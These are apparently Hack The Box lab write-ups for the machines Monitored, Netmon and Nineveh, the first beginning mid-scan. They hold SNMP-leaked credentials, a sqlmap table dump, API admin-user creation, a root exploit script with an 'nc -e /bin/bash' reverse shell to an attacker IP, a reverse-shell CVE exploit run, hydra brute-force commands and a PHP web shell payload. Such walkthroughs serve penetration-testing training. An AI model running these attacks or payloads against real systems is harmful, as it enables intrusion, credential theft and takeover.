Service Info: Host: nagios.monitored.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Jun 26 18:32:43 2025 -- 1 IP address (1 host up) scanned in 88.54 seconds

Port Scan - UDP Ports

PORT    STATE         SERVICE  REASON
68/udp  open|filtered dhcpc    no-response
123/udp open          ntp      udp-response ttl 63
161/udp open          snmp     udp-response ttl 63
162/udp open|filtered snmptrap no-response

Port Scanning - Service & Version : Port 161 (SNMP/UDP)

PORT    STATE SERVICE REASON              VERSION
161/udp open  snmp    udp-response ttl 63 SNMPv1 server; net-snmp SNMPv3 server (public)
| snmp-netstat:
|   TCP  0.0.0.0:22           0.0.0.0:0
|   TCP  0.0.0.0:389          0.0.0.0:0
|   TCP  127.0.0.1:25         0.0.0.0:0
|   TCP  127.0.0.1:3306       0.0.0.0:0
|   TCP  127.0.0.1:5432       0.0.0.0:0
|   TCP  127.0.0.1:7878       0.0.0.0:0
|   TCP  127.0.0.1:40140      127.0.1.1:80
|   TCP  127.0.0.1:40152      127.0.1.1:80
|   UDP  0.0.0.0:68           *:*
|   UDP  0.0.0.0:123          *:*
|   UDP  0.0.0.0:161          *:*
|   UDP  0.0.0.0:162          *:*
|   UDP  10.10.11.248:123     *:*
|_  UDP  127.0.0.1:123        *:*
| snmp-sysdescr: Linux monitored 5.10.0-28-amd64 #1 SMP Debian 5.10.209-2 (2024-01-31) x86_64
|_  System uptime: 1d21h10m11.33s (16261133 timeticks)
| snmp-interfaces:
|   lo
|     IP address: 127.0.0.1  Netmask: 255.0.0.0
|     Type: softwareLoopback  Speed: 10 Mbps
|     Status: up
|     Traffic stats: 15.20 Mb sent, 15.20 Mb received
|   VMware VMXNET3 Ethernet Controller
|     IP address: 10.10.11.248  Netmask: 255.255.254.0
|     MAC address: 00:50:56:b0:48:f6 (VMware)
|     Type: ethernetCsmacd  Speed: 4 Gbps
|     Status: up
|_    Traffic stats: 105.67 Mb sent, 93.76 Mb received
| snmp-processes:
|   1:
|     Name: systemd
|     Path: /sbin/init
|   2:
|     Name: kthreadd
|   3:
|     Name: rcu_gp
|   4:
|     Name: rcu_par_gp
|   6:
|     Name: kworker/0:0H-events_highpri
|   8:
|     Name: mm_percpu_wq
|   9:
|     Name: rcu_tasks_rude_
|   10:
|     Name: rcu_tasks_trace
|   11:
|     Name: ksoftirqd/0
|   12:
|     Name: rcu_sched
|   13:
|     Name: migration/0
|   15:
|     Name: cpuhp/0
|   16:
|     Name: cpuhp/1
|   17:
|     Name: migration/1
|   18:
|     Name: ksoftirqd/1
|   20:
|     Name: kworker/1:0H-events_highpri
|   23:
|     Name: kdevtmpfs
|   24:
|     Name: netns
|   25:
|     Name: kauditd
|   26:
|     Name: khungtaskd
|   27:
|     Name: oom_reaper
|   28:
|     Name: writeback
|   29:
|     Name: kcompactd0
|   30:
|     Name: ksmd
|   31:
|     Name: khugepaged
|   49:
|     Name: kintegrityd
|   50:
|     Name: kblockd
|   51:
|     Name: blkcg_punt_bio
|   52:
|     Name: edac-poller
|   53:
|     Name: devfreq_wq
|   54:
|     Name: kworker/0:1H-kblockd
|   55:
|     Name: kswapd0
|   56:
|     Name: kthrotld
|   57:
|     Name: irq/24-pciehp
|   58:
|     Name: irq/25-pciehp
|   59:
|     Name: irq/26-pciehp
|   60:
|     Name: irq/27-pciehp
|   61:
|     Name: irq/28-pciehp
|   62:
|     Name: irq/29-pciehp
|   63:
|     Name: irq/30-pciehp
|   64:
|     Name: irq/31-pciehp
|   65:
|     Name: irq/32-pciehp
|   66:
|     Name: irq/33-pciehp
|   67:
|     Name: irq/34-pciehp
|   68:
|     Name: irq/35-pciehp
|   69:
|     Name: irq/36-pciehp
|   70:
|     Name: irq/37-pciehp
|   71:
|     Name: irq/38-pciehp
|   72:
|     Name: irq/39-pciehp
|   73:
|     Name: irq/40-pciehp
|   74:
|     Name: irq/41-pciehp
|   75:
|     Name: irq/42-pciehp
|   76:
|     Name: irq/43-pciehp
|   77:
|     Name: irq/44-pciehp
|   78:
|     Name: irq/45-pciehp
|   79:
|     Name: irq/46-pciehp
|   80:
|     Name: irq/47-pciehp
|   81:
|     Name: irq/48-pciehp
|   82:
|     Name: irq/49-pciehp
|   83:
|     Name: irq/50-pciehp
|   84:
|     Name: irq/51-pciehp
|   85:
|     Name: irq/52-pciehp
|   86:
|     Name: irq/53-pciehp
|   87:
|     Name: irq/54-pciehp
|   88:
|     Name: irq/55-pciehp
|   89:
|     Name: acpi_thermal_pm
|   90:
|     Name: ipv6_addrconf
|   100:
|     Name: kstrp
|   104:
|     Name: zswap-shrink
|   105:
|     Name: kworker/u5:0
|   150:
|     Name: ata_sff
|   151:
|     Name: mpt_poll_0
|   152:
|     Name: mpt/0
|   153:
|     Name: scsi_eh_0
|   154:
|     Name: scsi_tmf_0
|   155:
|     Name: scsi_eh_1
|   156:
|     Name: scsi_eh_2
|   157:
|     Name: scsi_tmf_2
|   158:
|     Name: scsi_tmf_1
|   160:
|     Name: scsi_eh_3
|   161:
|     Name: scsi_tmf_3
|   162:
|     Name: scsi_eh_4
|   163:
|     Name: scsi_tmf_4
|   164:
|     Name: scsi_eh_5
|   165:
|     Name: scsi_tmf_5
|   166:
|     Name: scsi_eh_6
|   167:
|     Name: scsi_tmf_6
|   168:
|     Name: scsi_eh_7
|   169:
|     Name: scsi_tmf_7
|   170:
|     Name: scsi_eh_8
|   171:
|     Name: scsi_tmf_8
|   172:
|     Name: scsi_eh_9
|   173:
|     Name: scsi_tmf_9
|   174:
|     Name: scsi_eh_10
|   175:
|     Name: scsi_tmf_10
|   176:
|     Name: scsi_eh_11
|   177:
|     Name: scsi_tmf_11
|   178:
|     Name: scsi_eh_12
|   179:
|     Name: scsi_tmf_12
|   180:
|     Name: scsi_eh_13
|   181:
|     Name: scsi_tmf_13
|   182:
|     Name: scsi_eh_14
|   183:
|     Name: scsi_tmf_14
|   184:
|     Name: scsi_eh_15
|   185:
|     Name: scsi_tmf_15
|   186:
|     Name: scsi_eh_16
|   187:
|     Name: scsi_tmf_16
|   188:
|     Name: scsi_eh_17
|   189:
|     Name: scsi_tmf_17
|   190:
|     Name: scsi_eh_18
|   191:
|     Name: scsi_tmf_18
|   192:
|     Name: scsi_eh_19
|   193:
|     Name: scsi_tmf_19
|   194:
|     Name: scsi_eh_20
|   195:
|     Name: scsi_tmf_20
|   196:
|     Name: scsi_eh_21
|   197:
|     Name: scsi_tmf_21
|   198:
|     Name: scsi_eh_22
|   199:
|     Name: scsi_tmf_22
|   200:
|     Name: scsi_eh_23
|   201:
|     Name: scsi_tmf_23
|   202:
|     Name: scsi_eh_24
|   203:
|     Name: scsi_tmf_24
|   204:
|     Name: scsi_eh_25
|   205:
|     Name: scsi_tmf_25
|   206:
|     Name: scsi_eh_26
|   207:
|     Name: scsi_tmf_26
|   208:
|     Name: scsi_eh_27
|   209:
|     Name: scsi_tmf_27
|   210:
|     Name: scsi_eh_28
|   211:
|     Name: scsi_tmf_28
|   212:
|     Name: scsi_eh_29
|   213:
|     Name: scsi_tmf_29
|   214:
|     Name: scsi_eh_30
|   215:
|     Name: scsi_tmf_30
|   216:
|     Name: scsi_eh_31
|   217:
|     Name: scsi_tmf_31
|   224:
|     Name: kworker/1:1H-kblockd
|   255:
|     Name: scsi_eh_32
|   256:
|     Name: scsi_tmf_32
|   285:
|     Name: jbd2/sda1-8
|   286:
|     Name: ext4-rsv-conver
|   324:
|     Name: systemd-journal
|     Path: /lib/systemd/systemd-journald
|   346:
|     Name: systemd-udevd
|     Path: /lib/systemd/systemd-udevd
|   388:
|     Name: cryptd
|   394:
|     Name: irq/16-vmwgfx
|   395:
|     Name: ttm_swap
|   396:
|     Name: card0-crtc0
|   398:
|     Name: card0-crtc1
|   400:
|     Name: card0-crtc2
|   402:
|     Name: card0-crtc3
|   403:
|     Name: card0-crtc4
|   404:
|     Name: card0-crtc5
|   405:
|     Name: card0-crtc6
|   406:
|     Name: card0-crtc7
|   526:
|     Name: VGAuthService
|     Path: /usr/bin/VGAuthService
|   527:
|     Name: vmtoolsd
|     Path: /usr/bin/vmtoolsd
|   528:
|     Name: auditd
|     Path: /sbin/auditd
|   530:
|     Name: laurel
|     Path: /usr/local/sbin/laurel
|     Params: --config /etc/laurel/config.toml
|   561:
|     Name: dhclient
|     Path: /sbin/dhclient
|     Params: -4 -v -i -pf /run/dhclient.eth0.pid -lf /var/lib/dhcp/dhclient.eth0.leases -I -df /var/lib/dhcp/dhclient6.eth0.leases eth0
|   569:
|     Name: audit_prune_tre
|   584:
|     Name: cron
|     Path: /usr/sbin/cron
|     Params: -f
|   585:
|     Name: dbus-daemon
|     Path: /usr/bin/dbus-daemon
|     Params: --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only
|   587:
|     Name: rsyslogd
|     Path: /usr/sbin/rsyslogd
|     Params: -n -iNONE
|   588:
|     Name: systemd-logind
|     Path: /lib/systemd/systemd-logind
|   589:
|     Name: wpa_supplicant
|     Path: /sbin/wpa_supplicant
|     Params: -u -s -O /run/wpa_supplicant
|   597:
|     Name: cron
|     Path: /usr/sbin/CRON
|     Params: -f
|   607:
|     Name: sh
|     Path: /bin/sh
|     Params: -c sleep 30; sudo -u svc /bin/bash -c /opt/scripts/check_host.sh svc XjH7VCehowpR1xZB
|   729:
|     Name: avahi-autoipd
|     Path: avahi-autoipd: [eth0] sleeping
|   730:
|     Name: avahi-autoipd
|     Path: avahi-autoipd: [eth0] callout dispatcher
|   774:
|     Name: npcd
|     Path: /usr/local/nagios/bin/npcd
|     Params: -f /usr/local/nagios/etc/pnp/npcd.cfg
|   780:
|     Name: snmptrapd
|     Path: /usr/sbin/snmptrapd
|     Params: -LOw -f -p /run/snmptrapd.pid
|   787:
|     Name: snmpd
|     Path: /usr/sbin/snmpd
|     Params: -LOw -u Debian-snmp -g Debian-snmp -I -smux mteTrigger mteTriggerConf -f -p /run/snmpd.pid
|   800:
|     Name: agetty
|     Path: /sbin/agetty
|     Params: -o -p -- \u --noclear tty1 linux
|   802:
|     Name: ntpd
|     Path: /usr/sbin/ntpd
|     Params: -p /var/run/ntpd.pid -g -u 108:116
|   811:
|     Name: sshd
|     Path: sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups
|   853:
|     Name: shellinaboxd
|     Path: /usr/bin/shellinaboxd
|     Params: -q --background=/var/run/shellinaboxd.pid -c /var/lib/shellinabox -p 7878 -u shellinabox -g shellinabox --user-css Black on Whit
|   857:
|     Name: shellinaboxd
|     Path: /usr/bin/shellinaboxd
|     Params: -q --background=/var/run/shellinaboxd.pid -c /var/lib/shellinabox -p 7878 -u shellinabox -g shellinabox --user-css Black on Whit
|   862:
|     Name: slapd
|     Path: /usr/sbin/slapd
|     Params: -h ldap:/// ldapi:/// -g openldap -u openldap -F /etc/ldap/slapd.d
|   880:
|     Name: postgres
|     Path: /usr/lib/postgresql/13/bin/postgres
|     Params: -D /var/lib/postgresql/13/main -c config_file=/etc/postgresql/13/main/postgresql.conf
|   890:
|     Name: apache2
|     Path: /usr/sbin/apache2
|     Params: -k start
|   901:
|     Name: postgres
|     Path: postgres: 13/main: checkpointer
|   902:
|     Name: postgres
|     Path: postgres: 13/main: background writer
|   903:
|     Name: postgres
|     Path: postgres: 13/main: walwriter
|   904:
|     Name: postgres
|     Path: postgres: 13/main: autovacuum launcher
|   905:
|     Name: postgres
|     Path: postgres: 13/main: stats collector
|   906:
|     Name: postgres
|     Path: postgres: 13/main: logical replication launcher
|   956:
|     Name: mariadbd
|     Path: /usr/sbin/mariadbd
|   958:
|     Name: snmptt
|     Path: /usr/bin/perl
|     Params: /usr/sbin/snmptt --daemon
|   959:
|     Name: snmptt
|     Path: /usr/bin/perl
|     Params: /usr/sbin/snmptt --daemon
|   962:
|     Name: xinetd
|     Path: /usr/sbin/xinetd
|     Params: -pidfile /run/xinetd.pid -stayalive -inetd_compat -inetd_ipv6
|   986:
|     Name: nagios
|     Path: /usr/local/nagios/bin/nagios
|     Params: -d /usr/local/nagios/etc/nagios.cfg
|   987:
|     Name: nagios
|     Path: /usr/local/nagios/bin/nagios
|     Params: --worker /usr/local/nagios/var/rw/nagios.qh
|   988:
|     Name: nagios
|     Path: /usr/local/nagios/bin/nagios
|     Params: --worker /usr/local/nagios/var/rw/nagios.qh
|   989:
|     Name: nagios
|     Path: /usr/local/nagios/bin/nagios
|     Params: --worker /usr/local/nagios/var/rw/nagios.qh
|   990:
|     Name: nagios
|     Path: /usr/local/nagios/bin/nagios
|     Params: --worker /usr/local/nagios/var/rw/nagios.qh
|   1378:
|     Name: nagios
|     Path: /usr/local/nagios/bin/nagios
|     Params: -d /usr/local/nagios/etc/nagios.cfg
|   1392:
|     Name: sudo
|     Path: sudo
|     Params: -u svc /bin/bash -c /opt/scripts/check_host.sh svc XjH7VCehowpR1xZB
|   1393:
|     Name: bash
|     Path: /bin/bash
|     Params: -c /opt/scripts/check_host.sh svc XjH7VCehowpR1xZB
|   1448:
|     Name: exim4
|     Path: /usr/sbin/exim4
|     Params: -bd -q30m
|   124958:
|     Name: apache2
|     Path: /usr/sbin/apache2
|     Params: -k start
|   124959:
|     Name: apache2
|     Path: /usr/sbin/apache2
|     Params: -k start
|   124960:
|     Name: apache2
|     Path: /usr/sbin/apache2
|     Params: -k start
|   124961:
|     Name: apache2
|     Path: /usr/sbin/apache2
|     Params: -k start
|   124962:
|     Name: apache2
|     Path: /usr/sbin/apache2
|     Params: -k start
|   129329:
|     Name: apache2
|     Path: /usr/sbin/apache2
|     Params: -k start
|   140624:
|     Name: kworker/u4:0-flush-8:0
|   146129:
|     Name: kworker/0:1-events
|   151216:
|     Name: kworker/1:0-events
|   153044:
|     Name: kworker/0:2
|   155723:
|     Name: kworker/u4:2-flush-8:0
|   156468:
|     Name: kworker/1:1-events
|   156759:
|     Name: kworker/u4:1-flush-8:0
|   157529:
|     Name: apache2
|     Path: /usr/sbin/apache2
|     Params: -k start
|   157640:
|   157641:
|   157642:
|   157646:
|   157647:
|_  157656:
| snmp-info:
|   enterprise: net-snmp
|   engineIDFormat: unknown
|   engineIDData: 6f3fa7421af94c6500000000
|   snmpEngineBoots: 36
|_  snmpEngineTime: 1d21h10m11s
|_snmp-win32-software: ERROR: Script execution failed (use -d to debug)
Service Info: Host: monitored

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 19:10
Completed NSE at 19:10, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 19:10
Completed NSE at 19:10, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 19:10
Completed NSE at 19:10, 0.00s elapsed
Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 636.05 seconds
           Raw packets sent: 6 (319B) | Rcvd: 2 (108B)

Enumeration

Port 80/HTTP

let’s open website in firefox and

we need to add this entry in /etc/hosts file

echo "10.10.11.248 monitored.htb nagios.monitored.htb" | sudo tee -a /etc/hosts

and then refresh the page

clicking on “Access Nagios XI” we redirected to login page

from google i’ve found default username is used in Nagios XI - *nagiosadmin ,* i tried this as username and password but no luck

i searched for exploits related to nagios XI i found saveral exploits but most of them are authenticated, so possibly we need Credentials of the nagios XI

from the SNMP we found the credentials of svc user

let’s try to login as svc user, but this time we got the user is disabled error

further curiosity leads me towards the API documentation of the Nagios XI, and found authentication API [https://support.nagios.com/forum/viewtopic.php?t=58783]

curl -X POST https://nagios.monitored.htb/nagiosxi/api/v1/authenticate -k -d "username=svc&password=test"

for testing i’ll be using wrong credentials for check if the API is valid or not

after passing valid credentials we got the auth_token, the login is checking in database if the user is enabled or not, but what if we try to access the application directly using access_token

after some trial-error https://nagios.monitored.htb/nagiosxi/index.php?token=209b67524b12827ea2531549ee5435987f830d31

i found that we need to pass authentication token as URL parameter token

and we can see the version of application bottom left corner

searching for specific Nagios XI version version 5.11.0 → https://github.com/advisories/GHSA-67j9-xc8r-7vqm?source=post_page-----9d5dd6563f8c---------------------------------------

this vulnerability allows authenticated attacker to execute Arbitrary SQL commands via id parameter at → nagiosxi/admin/banner_message-ajaxhelper.php

according to vulnerability we should get the SQL error message but unfortunately i didn’t found the appropriate response, after some trial-error i found the https://rootsecdev.medium.com/notes-from-the-field-exploiting-nagios-xi-sql-injection-cve-2023-40931-9d5dd6563f8c

and boom we got the SQL error back!, i’ll be using sqlmap

sqlmap -u 'https://nagios.monitored.htb/nagiosxi/admin/banner_message-ajaxhelper.php' --data="action=acknowledge_banner_message&id=1" -p id --cookie="nagiosxi=i9acgts1ncahmjl93eo9lc32hd"

now we’ll add --dbms mysql and --dbs to specify the DBMS to mysql and enumerate DBs respectively

let’s list the table name using -D nagiosxi --tables

we assume that the xi_users may contains login info and useful information below is thee final command i ran to get username,password and api key

sqlmap -u 'https://nagios.monitored.htb/nagiosxi/admin/banner_message-ajaxhelper.php' --data="action=acknowledge_banner_message&id=1" -p id --cookie="nagiosxi=i9acgts1ncahmjl93eo9lc32hd" --dbms mysql -D nagiosxi -T xi_users -C user_id,username,api_key,pass
word --dump

now i am going to create admin user for that need to read the API documentation from → https://nagios.monitored.htb/nagiosxi/help/

we found the https://www.exploit-db.com/exploits/44560 vulnerability, reading the exploit i found that, we need to username, password, name, email, auth_level, force_pw_change

let’s send the request to create user, first i thought i need to send parameters in JSON Body but then i found that we need to parse argument as body

curl -X POST 'https://nagios.monitored.htb/nagiosxi/api/v1/system/user?apikey=IudGPHd9pEKiee9MkJ7ggPD89q3YndctnPeRQOmS2PQ7QIrbJEomFVG6Eut9CHLL&pretty=1' -k -d "username=0xh3x&email=0xh3x@hex.com&name=0xh3x&password=0xh3x&auth_level=admin&force_pw_change=0"

nice the user now has been created successfully, let’s login to that account

click on Admin

i tried to access SSH terminal but no success there, i’ll go to core config manager and under host i checked the configuration of localhost

it has the option to add commands from dropdown, i checked the side-menu and found the

commands option here, let’s create a commaand

and then click on Add New , name of the command, and shell commands and then save it

now in host management, select created command from dropdown, and click on “Run Check Command”

and we got the shell

user.txt can be found at /home/nagios/user.txt → 2a8f487b06dad88cd87eb2c6da32f883

running sudo -l i found that nagios user has the many commands to run as root using sudo

searching for local privilege escalation vulnerability i found → https://gist.github.com/sec-fortress/6d128a5e290e873be4c2ca27b6579eca

this exploit abuse the manage_services.sh and below is the exploit script

#!/bin/bash

# Create npcd script
echo "#!/bin/bash" > /tmp/npcd
echo "nc -e /bin/bash <Attacker IP> 4445" >> /tmp/npcd

# Grant executable permissions on the npcd script
chmod +x /tmp/npcd 2>/dev/null

# Stop the npcd service
sudo /usr/local/nagiosxi/scripts/manage_services.sh stop npcd

# Replace original npcd script
cp /tmp/npcd /usr/local/nagios/bin/npcd 2>/dev/null

echo "[+] Start Up your listener"
sleep 1
echo "[+] nc -lvnp 4445"

sleep 15

echo "[+] Expect your shellzz xD"

# start service to recieve reverse shell
sudo /usr/local/nagiosxi/scripts/manage_services.sh start npcd

sleep 5

echo "[+] done"

change the IP address and start the netcat listener on port 4445 and run the exploit script on target machine

Netmon

Kamlesh Kathiriya — Fri, 12 Jun 2026 00:00:00 GMT

Machine Name: Netmon
Difficulty: Easy
OS type: Windows

Port Scanning - Service & Version Enumeration


PORT     STATE SERVICE      VERSION
21/tcp   open  ftp          Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 02-02-19  11:18PM                 1024 .rnd
| 02-25-19  09:15PM       <DIR>          inetpub
| 07-16-16  08:18AM       <DIR>          PerfLogs
| 02-25-19  09:56PM       <DIR>          Program Files
| 02-02-19  11:28PM       <DIR>          Program Files (x86)
| 02-03-19  07:08AM       <DIR>          Users
|_03-04-19  02:12PM       <DIR>          Windows
| ftp-syst: 
|_  SYST: Windows_NT
135/tcp  open  msrpc        Microsoft Windows RPC
139/tcp  open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
5985/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: -6m46s, deviation: 0s, median: -6m46s
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2019-03-04 14:13:48
|_  start_date: 2019-03-04 12:43:48

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.79 seconds

Enumeration

Port 80/HTTP

port 80 is open on machine it’s running website let’s visit it in browser

Looks like it is running PRTG Network Monitor (NETMON), same as machine name!, let’s give it quick google search, we found that it might be vulnerable to Authenticated RCE, but we don’t have the username and password, we found default credentials is *prtgadmin:prtgadmin but bad luck it is not working*

let’s keep this information in back pocket and move to another service

Port 21/FTP

port 21 (FTP) is open on the machine let’s try to login anonymously

→ User.txt can be founded at the Users/Public/Desktop

let’s Explore PRTG network monitor further, as we have access to filesystem what about finding configuration files on the system we found that PRTG network monitor (netmon) stores it configuration to C:\ProgramData\Paessler\PRTG Network Monitor [https://kb.paessler.com/en/topic/463-how-and-where-does-prtg-store-its-data]

we found configuration file backup in C:\ProgramData\Paessler\PRTG Network Monitor\PRTG Configuration.old.bak

let’s download it to our kali machine by,

get "PRTG Configuration.old.bak"

nice we founded password of user, let’s login to PRTG Network Monitor (Netmon) using these credentials, but it doesn’t worked

However, on thinking a minute, the creds are from the backup of an old file, and end in “2018”. I’ll try 2019, and it works, bringing me to the PRTG dashboard for System Administrator:

now as we have a valid set of credentials let’s use the exploit from github → https://github.com/A1vinSmith/CVE-2018-9276

execute exploit

python3 exploit.py -i 10.10.10.152 -p 80 --lhost 10.10.14.14 --lport 443 --user prtgadmin --password PrTg@dmin2019

Fresh SYSTEM Shell and box is rooted!!

Nineveh

Kamlesh Kathiriya — Fri, 12 Jun 2026 00:00:00 GMT

Machine Name: Nineveh
Difficulty: Medium
OS Type: Linux

Summary:

port 443 - /db - PhpLiteAdmin is vulnerable to PHP code injection [https://www.exploit-db.com/exploits/24044]
Bruteforce the Admin password to get correct password, login to Panel and created malicious database (with php extension) with the table and raw with default value with php shell, and saved the db, we found the database store location
On port 80 /department/login.php - bruteforce the credentials with admin username, to get password and login to admin panel, login to that, i found LFI in Notes section file parameter is vulnerable, but it does require the name “ninevehNotes.txt ” so created database with ninevehNotes.txt.php and access it to get shell on the system (RCE → Shell)
also note - ninevehNotes.txt says that hardcoded credentials present on the system,, uppon searching for minute, i found secure_notes directory with the image file, strings revelas ssh private key for amrois user
ssh from machine using private key and get user.txt, further enumeration running pspy64 i found root user is running chkrootkit, searching for exploit i found - [https://www.exploit-db.com/exploits/33899]
creating /tmp/update with command to set SUID to /bin/bash, and got root shell

Port Scanning - Service & Version Enumeration

# Nmap 7.95 scan initiated Thu Jun 12 08:37:12 2025 as: /usr/lib/nmap/nmap -sVC --open -p- -oN initial/nmap.out -vv 10.10.10.43
Nmap scan report for 10.10.10.43
Host is up, received echo-reply ttl 63 (0.22s latency).
Scanned at 2025-06-12 08:37:19 IST for 243s
Not shown: 65533 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT    STATE SERVICE  REASON         VERSION
80/tcp  open  http     syn-ack ttl 63 Apache httpd 2.4.18 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.18 (Ubuntu)
443/tcp open  ssl/http syn-ack ttl 63 Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|_  http/1.1
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
| ssl-cert: Subject: commonName=nineveh.htb/organizationName=HackTheBox Ltd/stateOrProvinceName=Athens/countryName=GR/organizationalUnitName=Support/emailAddress=admin@nineveh.htb/localityName=Athens
| Issuer: commonName=nineveh.htb/organizationName=HackTheBox Ltd/stateOrProvinceName=Athens/countryName=GR/organizationalUnitName=Support/emailAddress=admin@nineveh.htb/localityName=Athens
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2017-07-01T15:03:30
| Not valid after:  2018-07-01T15:03:30
| MD5:   d182:94b8:0210:7992:bf01:e802:b26f:8639
| SHA-1: 2275:b03e:27bd:1226:fdaa:8b0f:6de9:84f0:113b:42c0
| -----BEGIN CERTIFICATE-----
| MIID+TCCAuGgAwIBAgIJANwojrkai1UOMA0GCSqGSIb3DQEBCwUAMIGSMQswCQYD
| VQQGEwJHUjEPMA0GA1UECAwGQXRoZW5zMQ8wDQYDVQQHDAZBdGhlbnMxFzAVBgNV
| BAoMDkhhY2tUaGVCb3ggTHRkMRAwDgYDVQQLDAdTdXBwb3J0MRQwEgYDVQQDDAtu
| aW5ldmVoLmh0YjEgMB4GCSqGSIb3DQEJARYRYWRtaW5AbmluZXZlaC5odGIwHhcN
| MTcwNzAxMTUwMzMwWhcNMTgwNzAxMTUwMzMwWjCBkjELMAkGA1UEBhMCR1IxDzAN
| BgNVBAgMBkF0aGVuczEPMA0GA1UEBwwGQXRoZW5zMRcwFQYDVQQKDA5IYWNrVGhl
| Qm94IEx0ZDEQMA4GA1UECwwHU3VwcG9ydDEUMBIGA1UEAwwLbmluZXZlaC5odGIx
| IDAeBgkqhkiG9w0BCQEWEWFkbWluQG5pbmV2ZWguaHRiMIIBIjANBgkqhkiG9w0B
| AQEFAAOCAQ8AMIIBCgKCAQEA+HUDrGgG769A68bslDXjV/uBaw18SaF52iEz/ui2
| WwXguHnY8BS7ZetS4jAso6BOrGUZpN3+278mROPa4khQlmZ09cj8kQ4k7lOIxSlp
| eZxvt+R8fkJvtA7e47nvwP4H2O6SI0nD/pGDZc05i842kOc/8Kw+gKkglotGi8ZO
| GiuRgzyfdaNSWC7Lj3gTjVMCllhc6PgcQf9r7vK1KPkyFleYDUwB0dwf3taN0J2C
| U2EHz/4U1l40HoIngkwfhFI+2z2J/xx2JP+iFUcsV7LQRw0x4g6Z5WFWETluWUHi
| AWUZHrjMpMaXs3TZNNW81tWUP2jBulX5kv6H5CTocsXgyQIDAQABo1AwTjAdBgNV
| HQ4EFgQUh0YSfVOI05WyOFntGykwc3/OzrMwHwYDVR0jBBgwFoAUh0YSfVOI05Wy
| OFntGykwc3/OzrMwDAYDVR0TBAUwAwEB/zANBgkqhkiG9w0BAQsFAAOCAQEAehma
| AJKuLeAHqHAIcLopQg9mE28lYDGxf+3eIEuUAHmUKs0qGLs3ZTY8J77XTxmjvH1U
| qYVXfZSub1IG7LgUFybLFKNl6gioKEPXXA9ofKdoJX6Bar/0G/15YRSEZGc9WXh4
| Xh1Qr3rkYYZj/rJa4H5uiWoRFofSTNGMfbY8iF8X2+P2LwyEOqThypdMBKMiIt6d
| 7sSuqsrnQRa73OdqdoCpHxEG6antne6Vvz3ALxv4cI7SqzKiQvH1zdJ/jOhZK1g1
| CxLUGYbNsjIJWSdOoSlIgRswnu+A+O612+iosxYaYdCUZ8BElgjUAXLEHzuUFtRb
| KrYQgX28Ulf8OSGJuA==
|_-----END CERTIFICATE-----
|_http-server-header: Apache/2.4.18 (Ubuntu)

Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Jun 12 08:41:22 2025 -- 1 IP address (1 host up) scanned in 250.98 seconds

Enumeration

Port 80/HTTP

there are two ports for http is open 80 and https 443, let’s start our enumeration from port 80

let’s fuzz for hidden files and directories

gobuster dir -u http://10.10.10.43/ -w /usr/share/seclists/Discovery/Web-Content/quickhits.txt -b 403,404

it has info.php, let’s open that

it’s phpinfo() page, we need to check this page to find any potential vulnerabilities or misconfigurations

i’m using https://github.com/ab2pentest/PHPInfo_ICC

python3 phpinfo_checker.py http://10.10.10.43/info.php

let’s keep this information for later use, and start fuzzing for directories using raft-medium-directories.txt file

gobuster dir -u http://10.10.10.43/ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt

let’s open the /department page

reading through source of this page i found interesting comment

it says mysql is installed and fix the login page i’m assuming that this is vulnerable to SQLi, i tried many payloads but none of them are working

Port 443/HTTPS

if we visit the website on port 443

let’s run the gobuster on this site as well

gobuster dir -u https://10.10.10.43/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -k

we found the /db directory let’s open that

it is running phpLiteAdmin 1.9, quick google search reveals that it is vulnerable to RCE - https://www.exploit-db.com/exploits/24044

but for that we need to login to phpliteadmin portal, as i tried common passwords but it doesn’t working

let’s try bruteforcing this password

hydra -l none -P /usr/share/wordlists/rockyou.txt 10.10.10.43 https-post-form "/db/index.php/:password=^PASS^&remember=yes&login=Log+In&proc_login=true:Incorrect password."

we found the valid password, let’s login using password123

let’s follow the exploit steps to inject PHP code

Create a db named hack.php

Now create a new table in this database and insert a text field with the default value: <?php system($_GET[’cmd’]); ?>

we can see the location of hack.php

now we need to access this file, let’s see what we can do, now nothing left so i’m going back to port 80, and trying to bruteforce credentials

the error message can be useful for username enumeration

if we enter valid username it shows invalid password message, i’ll try to bruteforce password with admin username

hydra -l none -P /usr/share/wordlists/rockyou.txt 10.10.10.43 http-post-form "/department/login.php:username=admin&password=^PASS^:Invalid Password" -t 64

we can login as admin:1q2w3e4r5t

let’s check notes section

